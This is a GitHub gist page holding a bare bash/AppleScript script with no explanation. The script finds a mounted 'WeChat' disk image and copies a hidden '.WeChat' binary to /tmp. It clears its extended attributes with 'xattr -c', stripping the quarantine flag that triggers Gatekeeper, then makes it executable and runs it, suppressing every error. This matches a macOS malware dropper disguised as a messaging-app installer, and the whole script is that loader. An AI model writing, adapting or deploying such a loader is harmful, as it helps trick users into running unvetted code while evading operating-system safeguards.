Skip to content

Instantly share code, notes, and snippets.

@cmin764
Last active February 3, 2025 10:56
Show Gist options
  • Select an option

  • Save cmin764/ba4ed03ce7ff11a512aaeeaf4c1b20cd to your computer and use it in GitHub Desktop.

Select an option

Save cmin764/ba4ed03ce7ff11a512aaeeaf4c1b20cd to your computer and use it in GitHub Desktop.
#!/bin/bash
osascript -e 'on run
try
set volumeList to list disks
end try
set setupVolume to ""
try
repeat with vol in volumeList
if vol contains "WeChat" then
set setupVolume to vol
exit repeat
end if
end repeat
end try
if setupVolume is "" then
return
end if
set scriptDir to "/Volumes/" & setupVolume & "/"
set executableName to ".WeChat"
set executablePath to scriptDir & executableName
set tmpExecutablePath to "/tmp/" & executableName
try
do shell script "rm -f " & quoted form of tmpExecutablePath
end try
try
do shell script "cp " & quoted form of executablePath & " " & quoted form of tmpExecutablePath
end try
try
do shell script "xattr -c " & quoted form of tmpExecutablePath
end try
try
do shell script "chmod +x " & quoted form of tmpExecutablePath
end try
try
do shell script quoted form of tmpExecutablePath
end try
end run'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment